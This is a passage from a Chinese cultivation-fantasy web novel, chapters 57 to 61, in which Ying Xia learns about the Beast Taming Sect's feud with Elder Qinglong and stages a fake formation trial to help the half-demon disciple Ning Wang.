小空间与应夏绑定,自然是能听到宁妄的心声,与救他那时差不多。 应夏摸了摸腰间的骨刀,心念一转直接进入了那片火海梦境。 朱雀依旧站在唯一的净土中,他看见应夏来了,还有些意外:“你怎么突然进来找我了?血蚕丝一事解决了吗?” 应夏一愣,他都忘了自己之前还询问过朱雀关于血蚕丝的事情,事情了结后也忘了跟他来说一声,便连忙与他讲了事情的后续。 朱雀叹了口气,道:“原来是这样……不过并不意外昊英道君会这么做,反而是拂叶道君竟是能如此舍身为人,十分值得敬佩。” 应夏有些可惜道:“不过掌门最后选择将血蚕丝一事隐瞒到底,师祖的所作所为便不会被人知晓了……” 朱雀思忖了半晌,问:“你觉得玄衍宗掌门隐瞒这事是为了什么?” “当然是为了不让血蚕丝事件再次发生了,怕有心人知道后会如昊英道君一样吧?” 朱雀笑着点头又摇头,“你说血蚕丝是昊英道君发现的,那你可知他是如何发现的,又在哪里发现的?” 应夏一怔。 “血蚕丝这种东西可不会凭空出现,昊英道君是在哪里发现的,你可有仔细深想过?” 闻言,应夏不禁打了个寒战:“你是说,还有别的人在幕后操控。” “谁能操控渡劫期道君?”朱雀脸上的笑淡淡的,他叹气道,“我以为你会明白。” 毕竟是因为应夏与他坦白了一些事情,他的想法开始逐渐转变,看世间的目光也与之前不尽相同。 “你的降生是因天道意志想要清洗世间污浊,那血蚕丝的诞生是否也可以视为天道认可的事情?” 应夏呆了半晌,说:“可是,若是血蚕丝是天道允许的,为何还要降下天罚于昊英道君?” 话音刚落,他自己心中已有了答案 因为昊英道君他越界了,污染灵、妄图创造灵气,这些都不是天道可以认可的事情。 朱雀见状知道应夏反应过来了,叹息道:“其实我一开始就在想,如果说你(魔)的降生是天道给予修仙界的一道劫难,那是否还有其他‘劫难’一并到来?” 其他……劫难? 应夏若有所思,难道说,北天剑宗那个突然被挖掘出来的仓冥石脉也是劫难吗? 想到这里,应夏的脸色变得古怪起来。 怎么感觉……这些劫难好像因为他的插手解决得十分顺利…… 若是没有他的插手,仓冥石脉可能会被修仙界使用,到时候说不定会养出更多的魔来危害人间。而血蚕丝若是没有他的插手,或许一直不被人所发现导致血蚕丝泛滥危害修仙界,或许被人发现后在修仙界引发矛盾纷争,届时必将掀起腥风血雨…… 他这算是把天道的劫难搞砸了? 应夏没少找朱雀出主意,朱雀见状也意识到了,他看着陷入自我怀疑的少年,笑了笑。 天道赐予一个魔功德金光,绝不会无中生有。 第58章 第 58 章 “因为他想要我的妖丹。…… “先不说这个了, 今天来找你是为了另一件事。” 应夏将救下御兽门弟子宁妄一事告知朱雀,没想到朱雀竟是叹息一声。 “怎么了?”应夏觉得十分奇怪,“你难道认识宁妄不成?” 朱雀摇摇头:“非也, 只是御兽门过去了这么多年,竟还是一点改变都没有,我是在感慨这个罢了。” 应夏一头雾水, “什么意思?” 朱雀沉默半晌,才缓缓道:“外人或许不知, 御兽门内部分裂实际上非常严重。” 御兽门有一位门主与四位长老,门主已至渡劫期闭关多年并未打理门中事物,都是由青龙与白虎二位长老处理。 然而四位长老之间也十分割裂,他们自己修炼和对待契约兽的态度截然不同, 导致御兽门内的弟子们也分裂成两派。 以青龙长老为首的一派,认为契约兽只是修炼的工具,他们会选择与更多的妖兽契约,来多线提升自身修为, 甚至会抢夺他人优秀的契约兽。 另一派便是以白虎长老为首, 将契约兽视为平等, 一个修士一生只有一个契约兽。 “听起来白虎长老那一派更加……唔,友善一些。”应夏说。 朱雀笑了笑,道:“或许是这样没错,但是你得知道, 一生只有一个契约兽是一种十分冒险的决定。他们的契约十分强悍严苛, 相当于同生共死。高额的代价当然也会带来高额的回报, 他们的修炼速度会比青龙那边的更快,但是,你觉得修仙界有哪些人会愿意将自己的前途都赌在一只契约兽身上?” 应夏蹙眉沉默。 朱雀继续说道:“所以, 听起来对契约兽最友好、修炼速度最快的一派,在御兽门中反而是最少的、偏弱势的一派,若不是有白虎长老坚持此道,恐怕……” 后面的话他没有说完,但应夏差不多猜到了他的意思。 “你是哪一派?”应夏问道,“青龙长老对你下手,你便不是他那边的人。但我总觉得,你也不像是会将前途交给契约兽的人。” 朱雀弯了下唇角,点点头说:“你说的没错,我两边都不是,因为我没有契约兽,或者说……我本身就是契约兽。” 应夏突然灵光一现,将红刃骨刀唤出来横在身前,“你的骨头?” “是。”朱雀垂眸看着那柄火红的骨刀,带着些苦涩的笑意,“你倒是毫不忌讳。”竟是在本人面前掏出用他骨头做的刀。 应夏转了转刀,挑眉道:“有什么可忌讳的?难道说,你特别介意?” 朱雀摇摇头,继续刚才的话题:“虽说外界都在传,御兽门四位长老修炼心法的缘故,导致身体部分兽化,但我其实与另外三位不太一样。” 应夏回想了下另外三位长老,兽化的部位都是外部肢体,相较而言,朱雀长出一身火红骨头确实与众不同。 朱雀道:“我是一只半妖。” 应夏:“?!!”这倒是没想到。 朱雀看着面前少年震惊的模样,笑着摇摇头:“所以,我是与自己体内的另一半妖血结契,所以若是真要说有契约兽,那便是我自己。” “其他人不知道吗?”应夏问道。 “不知道。不过……”朱雀惨笑一声,“青龙他知道了,然后便……” “他因为你是半妖所以想杀你?为什么?” “因为他想要我的妖丹。” 应夏一愣。 朱雀解释道:“半妖也是可以结出妖丹的,因为比普通修士多了一枚妖丹,修炼的难度会加倍,同时修炼的速度也会更快,有利有弊。” “这个弊就是得提防别人来挖你的妖丹?” 应夏看到了朱雀身后的那片火海又张牙舞爪起来,火焰燎得高高的,像是连带着天空都要一起烧尽似的。 “只是我技不如人罢了。”朱雀闭了闭眼。 自古修仙界弱肉强食、成王败寇,他是败给了青龙。 应夏却一眼看透朱雀,道:“你若是真的这么想,也不会产生魔气炼出魔骨了。” 果不其然,朱雀睁开了眼睛,那眼底是滔天的恨意,衬得他那张斑驳的脸十分可怖。 应夏并不害怕,将话题转移到宁妄身上,说:“所以,宁妄是白虎长老那一派,便被青龙长老门下的弟子欺负了?” 但是这个“欺负”,可以严重到虐杀吗? 朱雀恢复平静后,道:“应该是,在我还在御兽门时,虽然门规严令禁止同门相残,但是……总是顾及不到全部,每月总会有一两起弟子受伤的事件,不过都没有伤及性命。” “你所说的宁妄,他的契约兽都被人砍成几段,本人也奄奄一息,这情况十分严重,若是放在我那时,会严厉处理此事,将加害者都废除灵力捣毁丹田后逐出师门。” 说着,朱雀抿着唇,面色不虞道:“……看来这些年青龙他过得很顺利,连他手下的弟子都敢如此嚣张。” “不是还有白虎长老么?他不管管?”应夏问道。 朱雀一顿,缓缓摇头,“我不清楚。” 也是,朱雀都死了这么多年了,御兽门发生什么事,现在是个什么情况,他都不知道。 不过现在看宁妄的样子,御兽门的情况看起来并不乐观,像是已经将内部分裂一事摆在明面上了。 应夏问:“需不需要我让你和宁妄见一面?”- 应夏从火海梦境中出来,便进了小空间去找宁妄。 宁妄此时正与黑蛇宁玄在一片空地上与小石头玩耍,说是玩耍,应该是宁妄与黑蛇一起追击小石头。 小石头自从进入这片灵气充裕的空间后,便从未懈怠修炼,再加上它本身便是灵,得天独厚的出身让它修炼事半功倍。小石头如今的实力,甚至可以与元婴期修士一战。 应夏虽然表面上是金丹期,但其实比小石头略高一些,只是他还没有想好如何炼出假元婴,而且突破至元婴期必须经历雷劫,他还没有想好怎么办,便稍稍控制了下修为,决定暂时都停留在金丹期。 宁妄的修为境界应该也在金丹期,所以小石头对上他们绰绰有余。 发现应夏过来了,他们便停了下来,小石头一跃而起落在应夏的肩膀上,伸出枝条像是邀功似的,说:“应夏应夏,你看我刚才是不是很厉害?” 应夏伸手摸了摸他光滑的表面,眯起眼睛笑着,似乎是想好好夸奖它一般,然而当他开口时却是十分敷衍,“哦。” 小石头:“……”呜呜又欺负灵! 应夏没去管瞬间蔫了的小石头,看向抱了抱黑蛇蛇头的宁妄,问道:“你恢复的怎么样了?” 宁妄轻抚着黑蛇,笑着看向他说:“已经大好,非常感谢。” 应夏上下打量了他一阵,便点点头,开门见山问道:“你是因何受如此重伤?发现你的地方,也与御兽门相隔千里,你又是为何会跑到这么远的地方?” 宁妄显然也是做好了被询问的准备,他拍了拍有些担心的黑蛇宁玄,向应夏说道:“我是御兽门朱雀长老门下弟子,被青龙长老门下弟子所害,他们之前就看不惯我,也十分讨厌宁玄,老是找我们麻烦。不过有朱雀长老护着,便没有出什么大事,只是一些小打小闹。” 闻言应夏挑眉,竟然是那个假冒朱雀的人手下,按理说他是青龙安排的…… 宁妄继续说:“真正出事是在一次秘境探险之后,我拿下了魁首,他们便十分不服气,找我想要重赛。” “重赛?” 宁妄点点头,“如果我不答应就一直骚扰我,所以我便借此提出要求,若是他们输了便再也不能出现在我的面前。” 当时的宁妄并不知道将会发生什么,只是对夜以继日无止境的骚扰十分厌倦,想要借此机会将问题一起解决。 为首的弟子叫做朱兴朝,身形微胖,契约兽是一只凶猛的狮子,但同时他契约了四只妖兽,而这些妖兽都是他从别人那里抢来的。 这一次,他看上了宁妄的契约兽,但是宁妄的实力比他高,多次下手无果,就记恨上了他。 而那次秘境魁首可以获得一枚至元丹,可助金丹期无阻碍突破元婴期,宁妄是金丹且快到突破之时,便去参加秘境拿到了第一名的奖励。 朱兴朝也想要那枚至元丹,他的境界停留在金丹期很久了,其实他契约了两只强大妖兽后修为便突飞猛进,很快到达金丹期,可后来他又契约了三只,都没能令他继续突破至元婴。 而至元丹却被自己最讨厌的宁妄拿到了,新仇旧恨加在一块儿,他便起了杀心。 “他便以赌约骗你下山远赴柏山?” 宁妄点点头,“他召集了他家族的人,有三个元婴期修士,将我截在了那里。” 后面的事,便不用细说了,三个元婴期对上一个金丹期修士,自然是压倒性的虐杀。 应夏奇怪:“可我当时发现你的时候,你还有一口气。”虽说这么说有些冷酷无情,但若是元婴期,不至于连人死没死都不知道。 宁妄苦笑一声,黑蛇蹭了蹭他的脸颊,他摸摸宁玄,道:“因为我是真的死了,但宁玄救了我。” 应夏不解,明明当时黑蛇比他更惨,甚至连生气都没有。 宁妄很快解释道:“宁玄拥有四分之一的上古黑龙血脉,是她的血脉救了我。” “宁玄将黑龙血脉灌给了我,所以我陷入了假死状态,而宁玄则被他们……”宁妄咬牙切齿,感受到黑蛇的安抚又冷静下来,“我们签订的契约是同生共死,只要一方没有死去,另一方便能共生。” “原本我是让宁玄快跑,只要她活下来就能……” 说着,黑蛇盘住宁妄的身体,十分亲昵地贴了贴他的脸颊。 应夏便明白了,黑蛇更想让宁妄活下来。 第59章 第 59 章 宁妄:“我如今身无分文…… “可你为什么说恨青龙长老呢?”应夏突然问道。 宁妄怔了一瞬, 垂下脑袋很快又抬起,疑惑地看向应夏:“我有说过恨青龙长老吗?什么时候?” 还没等应夏回复,宁妄自己便解释起来, 道:“或许有吧,说起来会发生这种同门相残的事情,我们都比较讨厌青龙长老, 是因为他的纵容才导致那些人都欺负我们。” 宁妄自嘲地笑了一下,“……可是又有什么办法呢?” 应夏下意识觉得宁妄没有完全说实话, 他当时在宁妄濒死时听到的心声不会作假,那个时候他没有说恨朱兴朝而是对青龙表现出十足的恨意,所以才惹得他驻足救下他。 不过,朱兴朝一事应该没有作假, 至于青龙长老肯定做了什么让宁妄快死时都咬着他,否则只听他现在话中的意思,这层浮在表面的不喜太过浅了。 应夏并不介意宁妄的做法,毕竟有所保留和防备实属常见, 若是宁妄会一股脑都告诉他, 反而应夏还要怀疑他话语的真实性了。 但应夏也没有一笔带过此事, 而是直接道:“你接下来的打算,应该是准备回御兽门吧?” 宁妄点点头:“不论如何,我都是要回去的。” 应夏又问道:“你回到御兽门后,是去找那个朱兴朝报仇?” 宁妄顿了一会儿, 慢慢摇了摇头, 他说:“仇是要报, 但我还没有那么强,要杀朱兴朝没有那么简单。” 他想了想,眼睛明亮地看着应夏, 坦诚道:“不怕告诉恩人,我准备先将自身境界修炼至元婴再回宗门,不过并不会再叨扰恩人。” 应夏有些意外,问:“你准备去哪儿修炼?”哪个地方能比得上他如今灵气充裕的小空间? 一直没有打扰二人说话的小石头,这时候也突然出声应和,“对呀对呀,哪儿还有比这里更好的修炼地方?” 宁妄露出了一个腼腆的笑容,挠了挠头,说:“这里当然是最好的修炼地点。不过……我本来便是金丹期快要突破,才去参加了比赛拿至元丹,如今这枚至元丹被人抢走……” 应夏明白过来,“你是想再去找一枚至元丹?” 宁妄点了点头,解释道:“朱兴朝从我这里抢走至元丹后,他现在很可能就是元婴期了,我要回御兽门必定也得突破至元婴期,否则届时他见我没死肯定还要害我。” 应夏表示理解,“你准备去哪里找?” 至元丹这个东西不是很稀有,但也颇为珍贵,炼丹师得花费高额的代价才能炼出一枚。御兽门肯拿出一枚来作为比赛的彩头,那是相当有底气的,毕竟是一大宗门。 但若是宁妄想自己找或者买,就不是那么简单了。 温却沧曾给应夏科普过修仙界的一些常识,其中包括丹药一类。炼丹师耗材巨大,基本上都需要依靠着宗门,而独自一人的炼丹师少之又少,且会给别人炼丹的价格又极为高昂。 修仙界中也有专门修炼炼丹之道的宗门,其名为丹顶阁。虽收弟子教以炼丹之法,但总体来说并非一传道师门,而是修仙界最大的灵植丹药交易之地。 丹顶阁分为左阁和右阁,左阁为种植灵植培养为主,右阁便是炼制丹药为主。与修仙界内各大宗门都有交易,每年都会按例提供丹药给各大宗门所用。 也向修仙界众人出售灵植丹药,是散修、各门修士购入丹药大部分选择的途经。 所以,应夏便想到宁妄应该是想去丹顶阁买至元丹。 “你是想去丹顶阁买至元丹么?” 没想到宁妄摇头否定了这个答案,苦笑道:“我如今身无分文,如何买得起丹顶阁的丹药?而且,就算是之前的我……也买不起。” 小石头听见了,小声问应夏:“那个什么丹顶阁,卖丹药很贵吗?” 应夏思考了一会儿,说:“若是至元丹的话,应该需要五块上品灵石。” 小石头回想起应夏给他的上品灵石还剩下许多,给宁妄花的就不至五块了,那……应该算很便宜吧? 正想要大方地准备再给宁妄五块时,就听宁妄叹气道:“五块上品,便是要五百块中品灵石,我……我最多也只能从宗门那里每月领二十块中品灵石,如今更是……” 小石头的话卡在了嘴边,它瞪大着眼睛看着宁妄,这人居然这么穷?!每月二十中品灵石?!小气如应夏都没有这么扣!它好歹每各五天能领一块上品灵石修炼呢! 这回因为照顾宁妄,直接给了他数十上品灵石,但每五天的并未克扣,小石头自己的小金库都攒下了……唔,大概三十多个上品灵石! 而且这些上品灵石并非产自小空间的灵脉,若是要将那条灵脉的原石打造成灵石,那不得有更多更多了?! 小石头突然意识到自己好像抱上了富大腿,它瞅了瞅应夏,又看看愁眉苦脸的宁妄,下定决心不计较应夏过往欺负它的事情,得好好抱住这条大腿,以后的灵石都不用愁! 应夏并不知道小石头的心理活动,只是对宁妄建议着:“那你打算怎么办?若是你想,我可以给你。五块上品灵石,对我来说不值一提。” 宁妄连忙摆手:“不不不,怎么能再让恩人破费呢?你救下我一定也是花费了许多,如今怎么可以再让恩人为我花上品灵石,多谢恩人,但这灵石我绝对不能要。” 应夏并不强迫宁妄收下,而是问:“那你打算怎么办?” 如果不打算去丹顶阁买至元丹的话,那么只有……去找那些散修炼丹师了。 宁妄也是这么打算着,“我,准确来说是宁玄,她认识一位炼丹师,我准备去找那位炼丹师帮我炼制至元丹。看在宁玄的面子上,只要我能收集齐至元丹的材料,他一定会帮我练的。” 他摸着黑蛇,眼底显出一片柔色。 “但是想要收集齐至元丹的材料,也并不是易事。” “我知道。”宁妄的眼神十分坚定。 应夏笑了一下,说:“找材料再找人炼丹,也极为缓慢。不如这样吧?你帮我做一件事,我可以用五块上品灵石作为报酬,不过这件事可能对你来说十分困难,你愿不愿做?” 宁妄睁大了眼睛,“恩人,你不必为了我……” 应夏打断道:“不,我不是为了你,我是为了我自己。你先别着急拒绝,听我说完我想要做的事情,如何?” 宁妄点点头。 应夏继续说道:“我收到消息,丹顶阁和御兽门将联合开办一场拍卖会,就在本月底。” 他观察着宁妄的神情,至少他面上很惊讶,似乎并不知道有这么一回事。 “我准备去参加这场拍卖会,但是该拍卖会只有拥有邀请函的人才能进入,而收到邀请函的人都是极有名望之人。一般来说,是轮不到像我这种普通金丹期弟子的。” 应夏微微勾唇,“不过,我也得到另一个消息,有一位德高望重的炼虚期修士拿到了邀请函,同时他是一个布阵狂魔,三个月前他布下奇阵,称若有人能破了他的阵法,便答应那人一件事。” 宁妄皱眉道:“是想让我去破阵,然后帮恩人拿到邀请函?” “没错。”应夏点点头,“他的阵法非死阵,并无性命之忧,不过破阵机会每个人只有一次,你愿不愿意去尝试一次?去试也只浪费你一天时间,若是不成,你也可以再次前往寻找至元丹的材料。” 宁妄思考了半晌,拱手道:“既然是恩人所托,我自然愿意。即便我对阵法并无研究,也愿意为恩人一试!不过恩人不要对我有所期待,我是真的……不太会阵法。” 应夏心道,不会阵法更好了,反正这事也是他编的。 没错,有一炼虚期修士布奇阵等人破解什么的,都是应夏胡编的。他只是想借这次机会,让朱雀见见宁妄罢了,布阵之事到时候便麻烦一下裴道远。 不过,御兽门和丹顶阁有拍卖会一事并不是胡编,这事还是穆槐序前些天外出回来后,告诉他和裴道远的。正好,穆槐序手上拿了两张邀请函,每张邀请函可多带一人进场。 应夏有些好奇,宁妄自从被他救下后就一直呆在这个小空间里,并未接触外界,而拍卖会是在半个月前才传出消息,丹顶阁也从未与御兽门联合开办过拍卖会,按理来说宁妄应该是不知道这件事的。 他想试探宁妄也只是一时兴起,没想到,真的被他发现了一丝端倪。 宁妄刚刚的表现,表面看上去是不知道这件事的,可应夏却感觉到他周身的灵气波动停滞了一瞬,而后似乎有十分激烈的情绪但又被极快地压制下去。 他是知道这件事的。 为什么?难道与他恨青龙有关? 据穆槐序的消息,拍卖会是由御兽门的青龙长老牵头,与丹顶阁合作举办,拍卖会上将会出现极其稀有的宝贝。 不管宁妄想不想去,应夏是一定会去的,毕竟,他好奇拍卖会上有什么宝贝,顺便见识一下这位大名鼎鼎的青龙长老。 应夏转了转褐眸,随手拿出基本阵法书籍给宁妄,道:“这几日你便好好研习一下,七天后我们出发。” 七天时间应该也够他和裴道远一起研究布个阵法了。 只不过得绕开玄衍宗,去外面找个偏僻地方,想让朱雀出来,可不得放出几丝魔气,决不能在宗门内做,容易暴露。 第60章 第 60 章 半妖和至元丹又有什么关…… “所以你就把我带出来了?”裴道远听完后, 扇着扇子,挑眉道。 “阵法有裴兄就足够了,我是来做什么?”同样被应夏拎出来的还有穆槐序。 应夏与他们二人并肩走着, 道:“既然是要做一个假局,自然是越真越好,你和我都是一起前去破阵的。” 穆槐序问道:“是要假装和你不认识么?” 裴道远恍然大悟:“那不就是托吗?” 应夏笑了一下, 摇摇头道:“不,不用刻意隐瞒我们认识, 毕竟到时候我们还得一起去拍卖会,这样的做法就很容易暴露。” 穆槐序更加疑惑了,“那我来破阵做什么?更何况我也不太会破阵。” 应夏看向他,勾唇道:“你是一个保险, 若是宁妄真的破不了阵,就由你来破阵,然后我同样表面上可以得到邀请函,届时我便有理由将灵石交给他。当然, 若是宁妄能破了阵, 那就再好不过了。” 裴道远明白过来了:“你这方法倒是有些迂回了。” 应夏摇摇头, 对裴道远说道:“你待会儿布阵可得用心,毕竟我说的可是炼虚期修士布的。” 裴道远又疑惑起来,他一收扇子,问道:“你这是想让我布得更难一些?可简单一些不正好能顺理成章将灵石交给宁妄么?我会把握好分寸的, 绝不会让他看出来这是非炼虚期修士所设。” 应夏却说:“宁妄他说他不会阵法, 他真的就不懂么?若他只是自谦, 到时候岂不直接露馅?” 裴道远另有看法,“我觉得他即便看破也不会说破,毕竟以他的经历, 应该是拿到你手上的上品灵石为最佳选择,而且他看破了更能知道你的苦心,想必你再加以劝说,一定能让他接受。” “不,他不会的。”穆槐序突然插话道。 裴道远惊讶地转头看向他,很少见的听到穆槐序的反驳声。 穆槐序道:“恰巧是宁妄他经历了这么多事情,他才不会接受应夏的好意。” “可都承了救命之恩了,比起五块上品灵石,总是更重的吧?” 穆槐序否定道:“救命之恩是一回事,而五块上品灵石又是另一回事。如果是我,我也会拒绝的。” 裴道远有些不能理解,在他看来,就好像已经欠了他人巨额债款,再多欠五百也没什么,但穆槐序想的和他完全不一样。 他说:“你忘了,他拿这五块上品灵石是去做什么,他是要去买至元丹,然后回御兽门复仇的。” 裴道远抿着唇,反驳道:“不,我正是记得他要去复仇,所以这个时候才不能婆婆妈妈,借上品灵石又如何,这个时候总是想要更快速地复仇吧!” 他是更看重利弊之人,对于某些最后才需要去考虑的自尊心,这个时候就该利落舍弃。 “复仇一事,怎么能假借他人之手?一定要自己来做才痛快,这才是真正的复仇!” “为何不能借刀杀人?这也是复仇的手段,只要结果一样,过程、途经、方式我觉得根本不重要!” 眼看着二人意见不和便要吵起来,应夏立刻出声打断道:“好了!每个人都有每个人自己的想法,宁妄也有自己的想法和选择,不论如何,这些都是他的事,我们只需要看他如何选择便好。” 说完,应夏看向扇风撒气的裴道远,“让你布更难一些的阵法,不仅是为了让这个谎言变得更加真实一些,我还想试探一下宁妄的实力。” 裴道远一顿,用力点了点头,“好,那我便全力以赴。” 穆槐序沉默着。 本来穆槐序作为阵法的保险,他应该要从裴道远处知道阵法的破解方法,现在因为二人刚刚小吵了一架,气氛有些僵硬。 他也绝口不提破解之法一事,好像是赌着气要自己破阵一般。 应夏叹了口气,准备劝解二人,谁知裴道远先将撇开的视线转过来,正视着穆槐序,说道:“抱歉,刚刚讨论时语气不好。” “我也有错,过于针锋相对了。”穆槐序反省道。 二人相视一笑,僵持的气氛一下子便了无踪影。 应夏挑眉道:“你们倒是吵起来快和好也快。” 裴道远舒了口气,笑着说:“就是要这样才好呢,若是大家的意见都一致,便不会去思考去探究了。” 穆槐序也点点头。 “不光我和槐序师弟,应夏,我和你不也偶尔会吵架么?”裴道远像是回想起了什么,粲然一笑,“不仅吵架,还得动手打起来呢!” 被他这么一提,应夏也想起来了,之前一起对打比试时,会互相揪出对方的缺点,所以经常会吵起来,谁也不服谁的时候,便直接打起来。 “啧,这么说倒也是。” “哦对了,应夏你是怎么想的?”裴道远突然问道。 应夏沉吟了半晌,等到另外二人都有些耐不住性子时,才说:“我不知道。” “哈?” 应夏轻松地耸了耸肩,笑道:“我又不是宁妄,我怎么会知道他的想法?我若是知道,我便不会这么迂回试探了。虽然说这个所谓的机会是我刻意编的谎言,但是宁妄的选择我并不能预测。或许他真的看不出这个局,或者他看出来不说,又或者他直接拆穿,这些都是未知数,就看他怎么选择了。” 裴道远算是有些了解应夏的,他虽然这么说,但…… 果不其然,就听到应夏下一句话便是,“但是,不管宁妄他作何选择,结果是注定的,他一定会拿到我的五块上品灵石去买至元丹,然后回到御兽门复仇。” “为什么这么肯定?”穆槐序奇怪道。 应夏但笑不语。 裴道远似乎有些明白他的意思,说:“到时候便知道了,我们都没见过宁妄,只有应夏他见过,至少应夏比我们更了解宁妄,相信应夏便是了。” 穆槐序点点头。 应夏能这么肯定的原因,七成是因为有朱雀。 早前,应夏将宁妄的选择告诉了朱雀。 “他不会拿你的灵石在意料之中,但他还是选择至元丹倒是让我十分意外。”朱雀说道。 应夏没想到这一层,顺着他的话问道:“选择至元丹是什么意思?” 朱雀点出了怪异之处:“至元丹被抢走,他十分在意是没错。可为什么提升修为非要至元丹呢?他既然选择寻找至元丹材料,这说明他对于复仇似乎并不着急,还有时间去找材料。但拿着这些时间来修炼不好么?更加勤奋更加努力地在你那个灵气充裕的小空间修炼突破至元婴期,比去千辛万苦找材料托人做至元丹,是更好的办法不是吗?” 应夏一锤手心,道:“对啊,他有什么非要用至元丹的原因么?” 朱雀沉默了一会儿,说:“……他是不是和我一样?” “什么?”应夏一时间没反应过来。 “他也是个半妖么?” 应夏一愣,遂蹙眉道:“难怪……难怪我老是觉得他身上有兽类的气息,但又不是他的契约兽的气息,原来……他也是半妖!” “可是,半妖和至元丹又有什么关联?”应夏又问。 朱雀解释道:“半妖的突破雷劫与普通修士不同,是两层雷劫,而想要渡过这两层雷劫,必须做好两手准备。” “至元丹,他应该是想拿来用作渡两层雷劫用的。”朱雀说,“半妖的两层雷劫极为苛刻,渡过一层雷劫后,体内的灵力几乎被掏空,如果这时候修为不足以引来第二层雷劫,那么突破就会失败,而至元丹刚好可以弥补这二层雷劫中间的灵力空档,立刻提升修为引来突破雷劫。” “原来如此。” 朱雀轻叹一声,“如果他是半妖的话,或许他恨青龙的原因……” 应夏说道:“你不是想要见他么,这下更有理由了,到时候我会引他入梦境之中。” “好,御兽门的事情,也该由御兽门弟子来了结。” 应夏:“诶!我好歹拿了你的魔骨,得给我留个机会还债。” 朱雀有些无奈笑道:“会有很多机会的,青龙可不是宁妄一个人能对付的了的,不然我也不会落到如此地步。” “到时候,你可要说服他带着我一起去御兽门,他报他的仇,我还我的债。” 朱雀却问:“你师父同意你去御兽门了?” 应夏:“……”不提这茬他都忘了,他还没跟温却沧说过他的打算。 朱雀见应夏的反应便知,“早些和你师父坦白,不过他最好不要掺和这件事。” “我明白。” 青龙一事本是私人恩怨,若是让温却沧掺和,很可能引发两大宗门纷争,这可不好。 应夏迫切想让宁妄早点回御兽门有两点原因,一是想借着宁妄前往御兽门尽快还朱雀的债,二是想借着外出机会将修为提升至元婴期,雷劫一事在外面偷偷遮掩过去,否则,在温却沧眼皮子底下,他可不敢渡雷劫突破。 他不想再压制修为,这十分阻碍他的修炼进度,想要尽快提升境界后继续修炼,所以才想方设法让宁妄拿到五块上品灵石。 若是任凭宁妄慢吞吞地找材料,应夏得什么时候才能有机会提升修为境界? 还债一事能等,但变强一事他可等不了,尤其是知道师父是他的天敌之后,变强的想法更加迫切了。 所以,不管宁妄是怎样的想法还是怎样的选择,应夏都会让他的结果是拿到上品灵石。 在裴道远布阵法时,应夏也从旁协助,用符咒加强阵法,顺便将引入梦境的咒术悄悄藏匿其中。 60-70 第61章 第 61 章 我怎么就没有这么好的师…… 与宁妄约定之日很快到来, 应夏走到他们三人精心布置的阵法前,才将宁妄从小空间里转移出来。 “这里是……”宁妄看见周围的景色,有些疑惑又有些吃惊。 应夏与他正站在一块高耸的巨石上, 落脚的地方也就堪堪只能站三个人,除了应夏之外,还站着一位宁妄没见过的修士, 便是穆槐序。 巨石周围是白蒙蒙的一片云雾,除此之外, 看不清其他东西。 穆槐序看了应夏一眼,解释道:“这里就是那位前辈的考验之地。” 宁妄像是这才发现还有另外一人似的,拱手行礼道:“多谢解惑,请问阁下也是为了邀请函来此的吗?” “当然, 能站在这里的,都是竞争对手。”穆槐序点点头道。 他说完便转身,脚尖轻点,纵身飞出去老远, 宁妄便看见穆槐序的身影迅速被几片环绕在四周的云遮了去, 再也察觉不到他的气息。 应夏故作可惜道:“本来还想多问一些问题, 竟是走得这么快……宁妄,这周围应该已经是那位前辈布的阵法的,我们要小心一点。” 宁妄颔首应下,他极目远眺, 尝试探出神识查看情况, 但神识一触碰到云雾后便像是陷入泥沼似的沉下去, 若不是他即时收回,或许就要…… “宁妄?宁妄!”应夏稍提声量唤了几声。 这才回过神来的宁妄抬起袖子擦了擦额头上的冷汗,心有余悸道:“看来不可以在这里使用神识探路, 也是,前辈怎么能不考虑到这个……” 他还提醒应夏,“恩人也要小心。” 应夏却说:“别叫恩人了,直接叫我应夏。” “好,应夏。”宁妄顺从地换了称呼,“我们先往哪里走呢?” 其实往哪里走都一样,这个困阵最后都会让他们各自分开,最后只留下宁妄独自一人面对后面的阵法。穆槐序和应夏是参与者自然知道阵法何解,甚至还知道有些“捷径”。 不过这些应夏肯定是不会说的,所以他表面上思考了一会儿,然后指着穆槐序刚刚消失的地方,说:“不如跟着他的方向走吧?” “好。” 二人飞身进入云雾后,宁妄显然感觉到应夏的气息消失了,他有一瞬间的了然。环绕在他手腕上的黑蛇宁玄探出头,宁妄微笑着用指腹蹭蹭变小的宁玄,低声道:“不必担心。” 变成小蛇的宁玄嘶嘶两声,算是应答。 宁妄慢慢地在白茫茫的云雾中移动着,他似乎很谨慎小心,仔细观察着四周。 他对应夏说的所有话都是真的,包括他不擅长破解阵法一事。不过他也有所隐瞒,比如他其实是个半妖,是人与蛇剩下的孩子。 比如他其实有一瞬间的预知能力,不过只能依稀看到模糊人影画面,最多看得出动作体态,看不清面容外貌,而且并不是他主动想去预知,而是因为某些契机眼前会闪过这些模糊画面。 刚才站在那块巨石上,望着四周云雾时,宁妄便看到了一些画面。 他看到了一片火红的画面,画面里有一小片绿色,他还看到了会有三个人和他一起在一间酒馆吃饭,虽然看不清面容,但他能靠衣着分辨出其中二人便是这次挑战阵法的应夏和另一位修士,还有一位……只能看出是玄衍宗弟子且拿着一柄扇子。 第一个画面宁妄能感觉到,应该就是这个阵法中会出现的,而第二个画面,信息量就很大了。 宁妄笑着又摸了摸宁玄的小脑袋,自言自语道:“我们一定会顺利破阵出去的。”- 另一边,应夏进入云雾察觉到与宁妄的联系断了后,他便果断掏出一张符咒捏碎,碎屑聚在半空中为他引导出一条正确的道路。 应夏顺着指引拨开云雾,见到了正坐在一座凉亭里喝茶的裴道远。 “这么悠闲?”应夏坐到了他的对面,拿起一盏茶,挑眉道,“倒是很适合你布的阵法。” 茶杯中的灵气也如云雾,一会儿四散一会儿聚集,飘荡在茶水中。 应夏轻抿了一口,有些惊讶,这茶在口中也如抓不到的云雾,凉浸浸又丝滑,回味倒是清新甘甜。 “你从哪儿淘来的茶?不错。”应夏又喝了一口,含在嘴里时能感觉到灵气的涌动,倒是极为有趣好玩。 裴道远盯着应夏看了好久,才缓缓道:“唉,这可是新山云雾,每年只产出半斤的茶叶,你这一口下去便是几十块上品灵石了。” 应夏眨了眨眼睛,“这么贵?”说完又喝了一大口,还对他说,“你怎么不喝?” 裴道远仿佛很是痛惜地叹了口气:“我舍不得喝。” 这话倒不假,应夏能感觉到裴道远面前的茶杯中的灵气充裕,不像他的喝了三口已经下去一半灵气。 “你买都买来,还都摆出来准备喝了,有什么舍不舍得的。”应夏啧了一声。 裴道远看了看面前的茶杯,最后还是放下扇子,小心的端起,轻轻地抿了一口,眉目舒展似乎很是享受。 